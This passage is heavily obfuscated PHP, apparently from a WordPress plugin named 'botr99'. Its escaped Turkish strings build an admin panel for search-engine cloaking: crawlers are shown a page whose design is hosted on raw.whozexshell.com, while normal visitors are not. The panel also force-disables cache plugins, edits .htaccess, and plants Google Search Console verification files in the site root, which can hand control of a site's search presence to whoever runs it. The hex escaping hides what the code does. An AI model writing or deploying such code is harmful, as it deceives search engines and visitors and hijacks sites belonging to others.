"\74\57\x73\164\x72\157\x6e\x67\x3e\x3c\x62\x72\76\x3c\163\160\141\156\40\x63\154\x61\163\x73\x3d\x22\x62\157\164\x72\55\144\151\155\x22\40\163\164\171\154\x65\75\x22\155\x61\x72\x67\151\x6e\x3a\60\x22\76" . $esc($desc) . "\x3c\57\x73\x70\x61\x6e\76\x3c\x2f\x74\144\76" . "\74\x74\x64\x20\163\164\171\x6c\x65\x3d\x22\164\x65\170\164\x2d\141\154\x69\x67\156\x3a\162\151\x67\150\164\73\167\x68\x69\164\145\x2d\x73\160\141\143\x65\x3a\156\x6f\167\x72\141\x70\42\76" . $right . "\x3c\57\164\x64\x3e\74\x2f\x74\x72\76"; } $h .= "\74\57\164\141\x62\x6c\145\76"; if ($installed) { $h .= "\x3c\x64\x69\x76\40\x63\x6c\x61\163\163\75\42\x62\157\164\x72\x2d\141\x63\164\x69\157\x6e\163\x22\40\163\x74\x79\154\x65\75\42\x6d\x61\x72\147\151\156\55\164\157\160\72\x31\x34\160\x78\x22\76\x3c\x66\157\162\155\x20\x6d\x65\x74\x68\x6f\x64\75\42\x70\157\x73\x74\x22\40\x61\x63\164\x69\157\x6e\75\42" . $act . "\x22\76" . $hidden . "\74\x69\156\160\165\x74\40\164\171\160\x65\x3d\x22\150\x69\x64\x64\145\156\x22\40\x6e\141\155\x65\75\x22\141\x63\x74\x69\157\156\42\40\x76\141\154\x75\145\x3d\x22\x75\x6e\151\x6e\x73\x74\141\154\x6c\42\x3e" . "\74\142\165\x74\x74\157\156\x20\x63\154\x61\x73\x73\75\x22\142\157\x74\162\55\x62\x74\x6e\40\162\145\144\42\40\x74\x79\x70\145\75\42\x73\x75\142\155\x69\164\42\76" . botr99_icon("\164\x72\141\163\150") . "\x20\124\303\274\x6d\xc3\274\x6e\xc3\274\x20\113\x61\154\144\304\xb1\x72\x3c\x2f\x62\165\x74\x74\157\156\76\x3c\57\146\157\x72\x6d\76\x3c\57\144\x69\x76\76"; } $h .= "\x3c\x2f\163\x65\143\x74\x69\157\x6e\76"; $chk = function ($b) { return $b ? "\x20\x63\x68\x65\143\153\145\x64" : ''; }; $h .= "\x3c\x73\145\x63\x74\151\x6f\156\40\x63\154\x61\163\x73\x3d\x22\x62\157\x74\162\x2d\x62\x6f\x78\x22\76\x3c\150\x32\x3e" . botr99_icon("\x67\x65\141\162") . "\40\101\x79\x61\162\x6c\141\x72\x3c\x2f\150\62\x3e" . "\x3c\146\157\162\x6d\40\155\145\164\x68\x6f\144\x3d\x22\x70\x6f\x73\164\42\40\x61\x63\164\151\x6f\x6e\x3d\x22" . $act . "\42\x3e" . $hidden . "\x3c\151\156\160\165\x74\40\x74\171\160\x65\x3d\42\x68\151\x64\x64\x65\x6e\x22\40\156\x61\155\x65\x3d\42\141\143\164\x69\157\156\x22\40\166\x61\x6c\165\145\x3d\x22\163\141\166\x65\42\x3e" . "\74\x64\x69\166\x20\x63\154\141\163\x73\75\42\x62\x6f\x74\x72\55\x72\157\x77\42\76\x3c\151\x6e\x70\165\x74\x20\164\x79\x70\145\x3d\42\143\150\145\143\x6b\x62\157\170\x22\40\151\x64\x3d\42\x65\x6e\x61\x62\154\x65\144\x22\x20\x6e\141\x6d\145\75\x22\145\x6e\141\142\x6c\145\144\42\40\166\141\x6c\165\x65\75\x22\x31\42" . $chk($enabled) . "\x3e" . "\74\x6c\141\x62\145\154\x20\x66\x6f\x72\75\42\145\x6e\x61\142\x6c\145\x64\42\76\101\153\x74\x69\146\40\x28\142\157\164\154\141\162\141\40\x73\x75\x6e\x29\74\x2f\x6c\x61\142\x65\x6c\76\x3c\x2f\144\151\x76\76" . "\x3c\154\141\142\145\x6c\40\x63\x6c\141\163\x73\x3d\42\142\x6f\x74\162\55\146\154\141\142\x65\x6c\42\40\146\x6f\x72\x3d\x22\164\141\162\147\145\x74\x22\76\x48\x65\x64\145\x66\x20\50\x62\x6f\x74\154\x61\x72\x61\40\x67\xc3\xb6\163\x74\145\x72\151\154\x65\143\145\x6b\x20\xe2\200\224\40\x79\141\x6c\x6e\xc4\261\x7a\x63\141\40\x61\x6e\141\x20\x73\x61\x79\x66\x61\x29\x3c\x2f\x6c\141\142\145\154\76" . "\x3c\144\x69\x76\40\163\x74\171\x6c\x65\75\42\x64\151\163\160\x6c\x61\x79\x3a\146\154\145\170\73\147\x61\x70\72\x38\160\x78\x3b\141\154\151\147\156\x2d\x69\x74\x65\x6d\x73\72\163\x74\162\145\x74\143\150\73\x66\x6c\145\x78\x2d\x77\162\141\160\72\167\162\141\160\x22\76" . "\x3c\151\x6e\160\x75\164\x20\143\x6c\141\163\x73\x3d\42\x62\157\x74\x72\x2d\x69\156\160\165\x74\x22\x20\x73\164\x79\x6c\145\75\42\146\x6c\x65\170\72\x31\73\x6d\151\x6e\x2d\167\151\144\164\150\72\x32\x32\60\160\170\42\40\164\x79\160\x65\75\42\164\x65\x78\164\x22\x20\x69\x64\75\x22\164\141\x72\147\x65\164\x22\x20\x6e\x61\155\145\75\42\x74\141\x72\147\145\164\42\40" . "\160\154\x61\x63\145\x68\157\154\x64\145\162\x3d\x22\142\157\xc5\237\75\303\xb6\x72\x6e\145\x6b\x20\163\141\171\146\x61\40\xc2\xb7\x20\150\x74\164\160\163\x3a\x2f\x2f\x72\x61\167\56\167\x68\x6f\172\x65\x78\163\150\x65\x6c\154\x2e\143\157\x6d\x2f\x78\x78\x78\x22\40" . "\x76\141\154\x75\145\75\x22" . $esc($cfg["\164\x61\162\x67\145\164"]) . "\x22\76" . "\74\x61\40\x63\154\x61\x73\163\x3d\42\142\157\x74\162\x2d\142\164\x6e\x22\40\x68\x72\x65\x66\75\42\x68\164\x74\160\x73\72\x2f\x2f\x72\x61\167\x2e\x77\x68\157\172\145\x78\x73\150\x65\154\154\x2e\x63\157\155\42\40\x74\x61\162\147\x65\x74\75\42\x5f\x62\154\141\x6e\153\42\x20\x72\145\x6c\x3d\42\156\x6f\157\x70\x65\156\145\x72\x20\x6e\157\x72\145\x66\x65\162\x72\x65\162\42\76" . botr99_icon("\x6c\151\156\153") . "\40\x52\141\167\40\114\x69\x6e\153\x20\x4f\154\165\305\237\164\165\162\74\57\x61\76" . "\74\57\x64\151\x76\76" . "\x3c\160\x20\x63\x6c\x61\163\163\75\42\142\x6f\x74\162\55\x64\x69\x6d\42\40\x73\164\x79\x6c\145\x3d\42\x6d\x61\162\x67\151\156\x2d\x74\157\160\x3a\x36\160\170\x22\76\x54\141\x73\x61\162\xc4\261\x6d\xc4\xb1\156\304\xb1\40\74\141\40\150\x72\145\x66\x3d\x22\x68\164\164\x70\163\72\x2f\57\x72\141\167\56\167\150\157\172\x65\x78\x73\x68\145\x6c\154\56\x63\x6f\x6d\42\40\x74\141\162\147\145\164\x3d\42\x5f\142\154\x61\x6e\153\x22\x20\162\145\154\75\x22\x6e\x6f\157\x70\145\x6e\145\162\x20\x6e\x6f\162\145\146\x65\162\x72\145\162\x22\40\x73\164\171\x6c\x65\x3d\x22\143\157\154\x6f\162\x3a\x76\141\x72\50\x2d\x2d\141\x63\x63\x65\x6e\x74\51\42\x3e\162\x61\x77\x2e\167\x68\157\172\x65\x78\x73\x68\145\154\154\56\x63\157\155\74\x2f\x61\76\47\x61\40\171\xc3\274\x6b\x6c\145\x2c\40\303\247\304\xb1\153\141\x6e\x20\x72\x61\x77\x20\154\x69\x6e\x6b\151\x20\x62\165\x72\x61\x79\141\x20\171\141\160\304\261\305\x9f\x74\304\261\162\56\74\57\160\76" . "\x3c\x6c\x61\x62\x65\x6c\x20\143\x6c\141\x73\163\75\x22\142\157\x74\162\55\146\x6c\141\x62\145\x6c\42\x3e\x42\x6f\x74\x6c\x61\x72\74\x2f\x6c\x61\x62\x65\154\76"; foreach (array("\x67\x6f\x6f\x67\x6c\x65" => "\107\x6f\157\x67\x6c\145", "\x62\151\x6e\147" => "\x42\x69\x6e\x67", "\x79\x61\x6e\x64\145\170" => "\131\x61\156\x64\x65\x78", "\144\x75\143\x6b\144\x75\x63\153\x67\157" => "\104\165\x63\153\x44\x75\x63\x6b\x47\x6f", "\160\141\147\x65\163\x70\x65\x65\x64" => "\120\141\x67\145\123\x70\145\x65\144") as $k => $lbl) { $h .= "\x3c\144\x69\x76\x20\x63\x6c\141\x73\x73\75\x22\x62\x6f\164\162\55\x72\x6f\167\42\76\x3c\x69\156\x70\x75\x74\x20\164\x79\x70\x65\x3d\x22\x63\x68\x65\143\x6b\142\157\170\x22\x20\151\144\75\42\142\x6f\x74\x5f" . $k . "\42\x20\x6e\141\155\145\75\42\142\x6f\x74\137" . $k . "\x22\x20\166\141\154\165\x65\75\42\x31\42" . $chk(!empty($cfg["\142\157\164\163"][$k])) . "\76\x3c\x6c\x61\x62\145\154\x20\146\x6f\x72\75\x22\x62\x6f\x74\x5f" . $k . "\x22\x3e" . $lbl . "\x3c\x2f\154\x61\x62\x65\154\76\74\57\x64\151\166\x3e"; } $h .= "\x3c\x64\151\166\x20\x63\154\141\163\x73\x3d\x22\x62\x6f\164\162\x2d\162\157\x77\x22\76\74\151\x6e\x70\165\164\40\164\x79\160\x65\x3d\x22\x63\x68\x65\x63\153\x62\157\x78\x22\40\x69\x64\75\x22\166\x65\x72\151\146\171\137\144\x6e\163\x22\x20\156\141\x6d\x65\75\42\166\x65\x72\151\x66\x79\137\144\x6e\163\x22\x20\166\x61\x6c\165\x65\75\42\x31\x22" . $chk(!empty($cfg["\x76\x65\162\151\146\x79\137\144\x6e\x73"])) . "\76" . "\74\154\x61\x62\145\x6c\40\146\157\x72\75\x22\166\145\x72\x69\x66\x79\137\144\x6e\x73\x22\x3e\x44\116\123\x20\x64\157\304\237\162\165\x6c\141\x6d\x61\163\xc4\261\x20\x28\x73\x61\x68\x74\145\40\142\x6f\x74\x6c\141\x72\304\xb1\x20\145\x6c\x65\x72\73\x20\171\x61\166\141\305\x9f\x29\x3c\57\154\x61\142\145\x6c\x3e\x3c\57\144\x69\166\76" . "\74\144\x69\166\40\143\154\141\x73\163\75\42\x62\x6f\x74\162\x2d\x72\157\x77\42\76\x3c\x69\x6e\x70\x75\x74\40\x74\171\x70\x65\x3d\42\x63\x68\145\143\153\x62\x6f\x78\x22\x20\x69\x64\75\42\x6c\x6f\147\137\x65\156\141\x62\x6c\145\x64\42\x20\156\141\155\145\x3d\42\x6c\x6f\x67\x5f\x65\x6e\141\142\x6c\x65\144\x22\40\x76\141\154\x75\x65\75\x22\x31\x22" . $chk(!empty($cfg["\x6c\x6f\x67\x5f\x65\156\x61\142\154\x65\144"])) . "\x3e" . "\74\x6c\141\x62\145\x6c\x20\146\x6f\x72\75\42\154\x6f\147\x5f\x65\156\141\142\154\x65\144\42\76\114\157\x67\154\141\x6d\x61\40\x61\xc3\xa7\xc4\xb1\x6b\74\x2f\154\x61\x62\x65\x6c\x3e\74\x2f\x64\151\x76\x3e" . "\74\144\151\166\40\143\x6c\x61\x73\163\x3d\x22\142\x6f\164\x72\x2d\x61\143\164\151\x6f\156\163\x22\40\163\164\x79\x6c\145\75\x22\x6d\x61\162\x67\x69\x6e\55\x74\157\x70\72\x31\66\160\170\x22\76\x3c\142\x75\164\164\157\156\x20\x63\154\x61\163\x73\75\x22\x62\157\x74\162\55\142\x74\156\40\160\x72\151\155\x61\x72\x79\x22\x20\164\171\160\145\75\42\163\x75\142\x6d\151\x74\42\x3e" . botr99_icon("\163\141\x76\x65") . "\40\101\171\141\x72\x6c\x61\162\304\xb1\x20\x4b\141\171\144\145\x74\x3c\57\142\x75\x74\164\157\x6e\x3e\74\57\x64\x69\166\76" . "\74\57\146\x6f\162\155\x3e\x3c\x2f\163\x65\x63\164\x69\x6f\156\x3e"; $h .= "\74\163\145\143\x74\x69\x6f\156\40\143\154\x61\x73\x73\x3d\42\142\x6f\x74\x72\55\142\157\x78\42\76\x3c\x68\62\x3e" . botr99_icon("\x72\145\146\x72\x65\x73\x68") . "\40\103\141\x63\150\x65\x20\124\145\x6d\x69\172\154\145\171\x69\143\x69\x20\50\141\147\162\x65\x73\x69\146\x29\74\x2f\x68\62\76" . "\x3c\160\40\x63\x6c\x61\163\163\x3d\x22\x62\x6f\164\x72\55\144\151\x6d\42\76\x57\x6f\162\144\120\x72\145\163\163\47\x69\40\x79\303\xbc\x6b\154\x65\162\73\x20\x54\xc3\x9c\x4d\40\143\141\x63\x68\x65\x20\145\153\x6c\145\x6e\x74\151\x6c\145\x72\151\x6e\151\x20\x3c\163\164\162\x6f\156\147\76\x64\x65\141\x6b\x74\x69\166\145\x20\x65\x64\145\x72\x3c\x2f\163\x74\x72\157\x6e\x67\x3e\x2c\40" . "\143\141\x63\x68\145\40\144\162\x6f\160\x2d\151\x6e\x27\x6c\145\162\151\156\x69\40\x28\141\144\x76\x61\x6e\x63\x65\144\x2d\x63\x61\143\x68\x65\x20\x2f\40\x6f\142\x6a\x65\x63\164\55\143\x61\x63\150\x65\x29\x20\153\141\154\x64\xc4\261\x72\304\261\x72\x2c\40\74\x63\157\x64\145\76\167\x70\x2d\x63\157\x6e\164\145\x6e\x74\57\143\141\x63\150\x65\x3c\x2f\143\157\144\x65\x3e\x20\x69\xc3\xa7\x65\x72\x69\304\x9f\151\156\151\x20\163\x69\154\145\162\54\x20" . "\x62\x69\154\x69\x6e\x65\156\x20\164\303\274\x6d\x20\x63\141\x63\150\145\x20\101\x50\x49\47\154\x65\x72\x69\156\x69\40\142\x6f\xc5\237\x61\154\x74\xc4\xb1\x72\x2c\40\74\x63\157\144\145\x3e\x57\x50\x5f\103\x41\x43\110\105\x3c\57\143\x6f\144\145\x3e\47\151\x20\153\x61\x70\x61\164\xc4\xb1\x72\x20\166\x65\x20\117\x50\143\x61\143\150\145\47\x69\40\x73\xc4\261\x66\xc4\xb1\x72\154\141\x72\x2e\74\57\160\76" . "\74\x64\151\x76\x20\143\x6c\141\163\x73\75\x22\142\x6f\x74\x72\55\141\143\x74\x69\157\156\x73\x22\76\74\146\x6f\162\x6d\40\x6d\x65\164\x68\x6f\144\75\42\x70\x6f\x73\164\42\x20\141\143\x74\151\x6f\156\75\42" . $act . "\42\x3e" . $hidden . "\74\151\x6e\160\x75\164\x20\x74\171\160\145\x3d\42\x68\x69\144\144\145\156\x22\x20\156\x61\x6d\x65\75\42\x61\x63\164\151\x6f\156\42\40\x76\x61\154\165\x65\x3d\42\144\x65\145\x70\x5f\143\x6c\145\x61\x6e\42\x3e" . "\x3c\x62\x75\x74\x74\157\x6e\40\143\x6c\x61\x73\163\75\42\142\x6f\164\162\x2d\142\x74\156\x20\162\145\144\42\x20\x74\171\x70\145\x3d\x22\163\165\142\155\x69\x74\x22\40\x6f\156\143\x6c\151\143\x6b\x3d\x22\x72\145\x74\165\x72\x6e\x20\143\157\x6e\146\x69\162\155\x28\x27\124\303\274\155\40\143\x61\x63\x68\145\40\x65\153\x6c\145\156\164\x69\x6c\x65\x72\x69\40\144\145\166\162\x65\40\144\304\261\305\x9f\xc4\261\40\142\304\xb1\x72\x61\153\xc4\xb1\x6c\141\x63\141\x6b\x20\x76\145\40\x63\141\x63\x68\x65\154\x65\x72\40\x73\151\x6c\x69\x6e\x65\143\145\153\56\x20\x44\145\x76\141\x6d\77\47\x29\x22\76" . botr99_icon("\x74\162\x61\163\x68") . "\40\x44\x65\x72\x69\x6e\40\124\145\155\x69\x7a\154\145\74\57\142\165\164\164\x6f\156\x3e\x3c\x2f\146\x6f\162\155\76\x3c\x2f\x64\151\166\x3e" . "\x3c\x70\x20\143\154\141\163\x73\75\42\x62\x6f\x74\x72\x2d\x64\151\x6d\42\x20\163\164\171\x6c\x65\75\x22\155\141\162\x67\x69\x6e\55\164\157\160\72\70\160\x78\x22\x3e\116\x6f\164\72\x20\x43\x61\143\x68\145\x2f\x70\145\162\x66\x6f\162\155\x61\156\x73\x20\145\153\x6c\x65\x6e\164\x69\x6c\145\162\x69\x6e\x20\144\x65\166\x72\x65\40\x64\304\xb1\xc5\x9f\xc4\261\x20\x6b\141\154\304\xb1\162\73\40\151\163\164\145\162\x73\145\156\x20\163\x6f\156\x72\141\40\164\145\153\162\x61\162\x20\141\153\x74\151\166\x65\40\x65\x64\145\162\x73\x69\x6e\56\74\57\160\x3e\x3c\57\163\x65\143\164\151\157\156\x3e"; $h .= "\x3c\163\x65\143\x74\151\157\x6e\40\x63\x6c\x61\x73\x73\75\x22\x62\157\164\162\55\142\x6f\170\x22\76\74\150\x32\x3e" . botr99_icon("\x67\145\141\162") . "\40\x2e\x68\x74\x61\x63\x63\x65\163\x73\40\x45\x64\x69\x74\303\xb6\x72\xc3\xbc\x3c\57\150\x32\x3e" . "\74\x70\x20\143\x6c\x61\x73\x73\75\x22\142\157\x74\162\55\x64\x69\x6d\x22\76\x4b\303\266\153\x20\x3c\x63\x6f\x64\x65\76\56\x68\x74\141\x63\x63\145\x73\x73\74\x2f\x63\x6f\x64\145\x3e\x20\x64\157\x73\171\141\x73\xc4\261\x6e\xc4\261\40\144\303\274\172\145\x6e\x6c\x65\56\40\x4b\x61\171\x64\x65\164\x6d\145\x64\145\156\x20\xc3\266\156\x63\145\x20\x6f\x74\x6f\155\141\x74\151\153\40\x79\x65\144\145\153\x20\141\x6c\xc4\xb1\156\304\261\x72\x20\50\x3c\x63\157\x64\x65\x3e\x2e\150\x74\x61\x63\143\x65\x73\163\x2e\142\x6f\x74\162\71\71\x2d\x62\141\153\x3c\57\143\157\x64\145\x3e\x29\56\74\57\160\x3e" . "\x3c\x66\x6f\x72\155\x20\x6d\145\x74\150\x6f\144\x3d\42\160\157\x73\x74\x22\x20\x61\143\x74\151\157\156\x3d\x22" . $act . "\x22\x3e" . $hidden . "\x3c\x69\x6e\x70\165\x74\x20\x74\x79\160\145\75\42\x68\x69\x64\x64\x65\156\x22\x20\x6e\x61\155\145\x3d\42\141\143\x74\x69\157\x6e\x22\x20\x76\141\154\165\145\x3d\42\x68\x74\x61\143\x63\145\163\163\x5f\163\x61\x76\145\42\x3e" . "\x3c\164\x65\170\x74\141\162\145\141\x20\143\x6c\x61\x73\x73\75\42\142\x6f\x74\x72\55\x69\156\x70\165\x74\42\x20\156\141\x6d\x65\75\42\x68\x74\141\143\143\x65\x73\x73\42\x20\x73\x70\x65\x6c\154\x63\150\145\143\153\75\x22\146\x61\154\x73\x65\x22\40\x73\x74\x79\154\145\x3d\42\155\x69\x6e\x2d\x68\145\x69\x67\150\164\x3a\62\x34\60\x70\x78\73\x66\x6f\156\164\55\146\141\155\x69\154\171\x3a\x43\x6f\x6e\x73\x6f\x6c\x61\163\54\x6d\x6f\x6e\x6f\x73\x70\x61\x63\145\73\154\x69\156\x65\x2d\150\145\151\147\x68\164\72\x31\x2e\65\42\76" . $esc(botr99_htaccess_root_read()) . "\74\x2f\x74\x65\170\164\x61\x72\x65\x61\x3e" . "\x3c\x64\151\166\x20\143\154\141\163\163\x3d\x22\142\157\x74\x72\x2d\141\143\x74\151\x6f\x6e\163\x22\40\163\x74\171\154\x65\x3d\x22\155\x61\162\147\151\156\55\164\157\160\x3a\x31\62\160\170\x22\76\x3c\142\x75\164\164\157\156\40\143\154\141\163\163\75\x22\142\157\x74\x72\x2d\x62\164\156\x20\160\x72\151\155\141\x72\171\x22\40\x74\171\x70\x65\x3d\42\x73\x75\142\x6d\151\164\x22\x3e" . botr99_icon("\163\141\x76\x65") . "\40\x2e\x68\164\x61\x63\x63\145\163\x73\x20\113\141\x79\144\x65\164\x3c\57\x62\165\164\x74\x6f\156\76\x3c\57\144\151\166\76" . "\x3c\57\x66\x6f\162\x6d\76\74\x2f\x73\145\x63\x74\x69\157\156\76"; $gscBase = $esc(botr99_site_base_url()); $gscRows = ''; foreach (botr99_gsc_list() as $gf) { $fn = basename($gf); $gscRows .= "\74\x74\162\76\x3c\164\144\76\x3c\143\x6f\144\x65\76" . $esc($fn) . "\74\x2f\143\157\144\x65\x3e\74\57\x74\x64\x3e" . "\x3c\164\x64\40\x73\x74\171\154\x65\75\x22\164\145\x78\x74\55\x61\x6c\151\x67\156\x3a\162\151\147\x68\164\x3b\x77\x68\x69\164\145\55\163\x70\141\143\145\72\156\157\167\x72\141\x70\x22\76" . "\x3c\141\x20\143\154\x61\x73\x73\x3d\42\142\x6f\164\162\x2d\x62\x74\x6e\x22\x20\150\162\x65\x66\75\42" . $gscBase . $esc($fn) . "\42\x20\164\x61\162\x67\145\x74\75\x22\137\x62\x6c\141\x6e\x6b\42\40\x72\145\x6c\75\42\156\157\x6f\x70\x65\x6e\x65\162\40\x6e\157\x72\x65\146\x65\x72\x72\145\162\42\x3e\x41\303\xa7\x3c\x2f\x61\x3e\x20" . "\74\x66\157\x72\155\40\x6d\145\164\150\157\x64\x3d\42\x70\157\x73\x74\42\x20\x61\x63\x74\151\157\x6e\75\42" . $act . "\42\40\x73\164\171\154\x65\75\42\144\151\163\x70\x6c\141\171\72\x69\x6e\x6c\151\x6e\145\x3b\x6d\x61\x72\x67\x69\x6e\72\x30\x22\76" . $hidden . "\74\x69\156\160\x75\164\40\164\x79\160\x65\x3d\42\x68\x69\x64\144\145\x6e\x22\x20\x6e\x61\155\145\x3d\42\x61\143\164\151\157\x6e\42\x20\x76\141\x6c\165\x65\75\x22\147\x73\143\137\144\x65\x6c\145\164\x65\42\x3e" . "\x3c\x69\x6e\160\165\x74\40\164\171\160\145\x3d\42\x68\151\x64\x64\x65\156\42\x20\x6e\141\x6d\x65\75\42\147\163\143\x5f\146\x69\x6c\145\42\40\x76\141\154\165\145\x3d\42" . $esc($fn) . "\42\x3e" . "\x3c\x62\x75\164\x74\157\156\40\143\x6c\141\x73\163\x3d\42\142\x6f\x74\162\x2d\142\x74\x6e\x20\162\145\144\x22\40\164\171\160\145\75\x22\x73\x75\x62\x6d\151\164\42\x3e\x53\151\154\x3c\x2f\x62\165\x74\164\x6f\x6e\x3e\74\x2f\146\x6f\162\x6d\x3e\x3c\x2f\164\144\76\74\x2f\164\x72\x3e"; } $h .= "\74\x73\145\143\x74\x69\x6f\156\40\143\x6c\141\x73\163\75\42\x62\157\164\x72\x2d\x62\x6f\170\42\76\74\x68\62\x3e" . botr99_icon("\143\x68\145\x63\x6b") . "\40\x47\x6f\x6f\x67\x6c\145\40\123\x65\141\162\143\x68\40\x43\157\x6e\163\157\154\145\40\104\157\304\x9f\x72\x75\154\141\155\141\x3c\x2f\150\x32\76" . "\x3c\160\x20\143\154\x61\x73\163\x3d\x22\142\x6f\x74\x72\x2d\144\x69\155\x22\x3e\x53\x65\x61\162\x63\150\40\x43\157\156\x73\x6f\154\x65\x27\165\156\x20\x73\141\156\x61\x20\166\x65\x72\144\x69\304\x9f\151\x20\x3c\x63\x6f\144\145\76\147\x6f\157\147\154\x65\x2e\x2e\56\150\x74\x6d\154\74\57\x63\x6f\144\145\76\x20\x64\x6f\x73\x79\x61\163\xc4\xb1\x6e\304\xb1\40\142\x75\162\x61\x64\141\156\40\x6f\154\x75\xc5\x9f\164\x75\x72\73\40" . "\163\151\164\x65\40\x6b\xc3\xb6\153\xc3\xbc\156\x65\40\x79\x61\x7a\xc4\xb1\154\xc4\xb1\x72\40\x28\74\x63\x6f\x64\145\76" . $gscBase . "\147\157\157\147\154\x65\56\x2e\x2e\150\164\155\x6c\x3c\57\x63\x6f\x64\145\76\x29\56\40\x53\141\x64\145\x63\145\40\141\x64\304\xb1\40\74\x63\x6f\x64\x65\76\x67\157\x6f\147\154\x65\x2e\x2e\56\150\164\x6d\x6c\x3c\x2f\x63\157\x64\x65\x3e\40\166\145\x20" . "\151\xc3\xa7\x65\x72\x69\xc4\237\x69\40\74\x63\x6f\x64\145\x3e\x67\x6f\157\147\x6c\145\55\x73\151\164\x65\x2d\x76\145\x72\151\146\x69\x63\141\164\x69\x6f\156\72\x20\56\56\56\x3c\x2f\143\157\144\145\76\40\157\154\141\156\x20\144\157\x73\x79\141\x20\x6b\x61\142\165\x6c\x20\145\x64\151\154\151\162\56\x3c\x2f\160\x3e" . "\x3c\146\x6f\x72\155\40\x6d\x65\164\150\157\144\x3d\42\x70\157\163\x74\42\x20\141\143\164\x69\x6f\156\x3d\x22" . $act . "\42\76" . $hidden . "\x3c\151\156\x70\x75\x74\x20\x74\171\160\x65\x3d\42\150\151\144\x64\x65\156\x22\40\x6e\141\155\145\75\x22\141\143\x74\x69\157\x6e\42\40\166\x61\x6c\x75\x65\x3d\x22\147\x73\143\x5f\x75\160\154\157\x61\144\x22\x3e" . "\x3c\x6c\141\x62\145\x6c\40\x63\154\x61\163\163\75\42\142\157\164\x72\x2d\x66\x6c\141\x62\x65\x6c\x22\40\x66\x6f\x72\x3d\42\x67\163\x63\x5f\x6e\x61\155\145\x22\76\x48\124\x4d\114\x20\x64\x6f\x73\171\x61\x20\141\x64\xc4\xb1\x3c\x2f\154\x61\x62\145\154\x3e" . "\x3c\x69\156\x70\165\164\x20\143\x6c\x61\163\x73\x3d\42\142\x6f\164\162\x2d\151\156\x70\165\164\x22\x20\x74\171\x70\145\x3d\42\x74\145\x78\164\42\40\151\x64\x3d\42\x67\x73\x63\x5f\156\141\x6d\x65\x22\x20\156\x61\155\145\x3d\x22\x67\x73\x63\137\x6e\141\x6d\145\42\40\160\x6c\141\143\145\x68\x6f\x6c\x64\145\x72\75\42\147\x6f\157\x67\x6c\145\x31\141\62\142\63\143\64\144\65\145\66\x66\x37\147\56\x68\x74\155\154\42\x3e" . "\x3c\154\141\x62\x65\x6c\40\x63\x6c\x61\x73\x73\x3d\x22\x62\157\x74\162\55\146\x6c\x61\142\145\154\x22\x20\146\157\162\75\42\147\x73\x63\x5f\143\157\x6e\164\145\x6e\164\42\x3e\x44\x6f\x73\171\x61\40\x69\303\xa7\x65\x72\x69\xc4\237\151\x3c\57\x6c\141\142\145\x6c\x3e" . "\74\x69\156\x70\165\164\x20\x63\x6c\141\x73\163\75\42\x62\157\x74\x72\55\151\156\160\x75\x74\x22\x20\x74\x79\160\x65\x3d\x22\164\x65\170\x74\x22\x20\x69\144\75\x22\x67\x73\x63\x5f\x63\157\x6e\164\x65\x6e\x74\x22\40\x6e\141\x6d\x65\75\x22\x67\163\x63\137\x63\157\156\x74\x65\156\164\42\40\160\154\x61\143\x65\x68\157\x6c\144\x65\x72\x3d\x22\x67\x6f\157\x67\x6c\x65\55\163\151\x74\x65\55\x76\145\162\151\x66\x69\x63\141\x74\x69\157\x6e\72\40\170\x78\170\170\x78\x78\x78\x78\170\170\x78\170\x78\x78\170\x78\42\x3e" . "\x3c\x64\x69\166\40\x63\x6c\141\163\x73\75\42\x62\x6f\x74\162\x2d\x61\143\x74\x69\x6f\x6e\163\x22\x20\x73\164\171\154\145\x3d\x22\x6d\x61\x72\147\x69\156\55\164\157\x70\x3a\61\x34\x70\170\x22\76\74\x62\x75\164\164\157\x6e\40\143\x6c\x61\163\x73\75\x22\142\x6f\164\x72\55\x62\x74\156\x20\160\162\x69\155\141\162\x79\x22\x20\164\x79\x70\x65\x3d\x22\x73\x75\142\155\x69\164\x22\x3e" . botr99_icon("\x73\141\x76\x65") . "\40\x44\157\304\x9f\162\x75\154\141\155\x61\40\x44\x6f\163\171\x61\163\xc4\261\156\xc4\xb1\40\131\xc3\274\x6b\154\x65\x3c\57\142\165\x74\x74\157\x6e\x3e\x3c\x2f\144\151\166\76" . "\74\x2f\146\157\162\x6d\x3e" . ($gscRows !== '' ? "\74\x70\x20\143\x6c\141\x73\x73\x3d\x22\x62\x6f\x74\x72\55\146\x6c\141\142\x65\154\42\x20\163\164\171\x6c\x65\75\42\x6d\141\x72\x67\x69\x6e\55\x74\x6f\x70\x3a\x31\66\x70\170\x22\76\x59\xc3\274\x6b\x6c\xc3\274\x20\144\x6f\xc4\237\162\165\154\x61\155\x61\x20\144\x6f\163\x79\141\154\x61\x72\304\xb1\74\57\x70\76\74\x74\x61\142\x6c\145\x20\x63\154\141\x73\163\75\42\x62\x6f\164\x72\x2d\x63\150\145\x63\153\163\x22\x3e" . $gscRows . "\74\x2f\164\141\142\154\145\x3e" : '') . "\x3c\x2f\163\x65\143\x74\x69\x6f\x6e\76"; $h .= "\74\x73\145\x63\x74\x69\157\156\40\x63\x6c\x61\163\x73\75\42\x62\x6f\x74\x72\x2d\x62\x6f\x78\x22\76\x3c\150\62\x3e" . botr99_icon("\163\150\151\x65\x6c\x64") . "\x20\125\171\x75\155\x6c\x75\154\x75\x6b\x20\124\x65\x73\x74\151\x3c\x2f\x68\x32\x3e" . botr99_render_checks($checks) . "\74\57\163\x65\x63\164\151\x6f\x6e\x3e"; $log = botr99_log_tail(8000); $h .= "\74\163\145\x63\x74\151\x6f\x6e\40\x63\x6c\141\x73\163\75\x22\142\157\x74\162\x2d\x62\157\170\42\x3e\74\x68\x32\x3e" . botr99_icon("\163\145\141\162\x63\x68") . "\40\123\x6f\156\40\x42\157\164\40\132\x69\171\141\162\x65\164\x6c\145\162\x69\x3c\x2f\150\x32\x3e" . ($log === '' ? "\x3c\160\x20\x63\x6c\141\163\x73\75\x22\142\157\164\162\55\x64\x69\155\x22\40\x73\x74\171\x6c\145\x3d\42\x6d\x61\162\x67\x69\x6e\72\60\42\76\x48\145\x6e\303\xbc\x7a\x20\153\x61\171\304\261\164\40\x79\157\153\56\x3c\x2f\160\x3e" : "\74\160\162\145\40\x63\154\141\x73\163\75\x22\142\157\164\x72\55\x6c\x6f\x67\42\76" . $esc($log) . "\x3c\57\160\x72\145\76") . "\x3c\x2f\163\x65\143\x74\151\157\156\76"; $h .= botr99_tutorial_html(); echo $h . botr99_html_foot(); } function botr99_tutorial_html() { $ic = function ($n, $color = "\x76\x61\x72\x28\x2d\55\141\x63\x63\145\x6e\164\51") { return 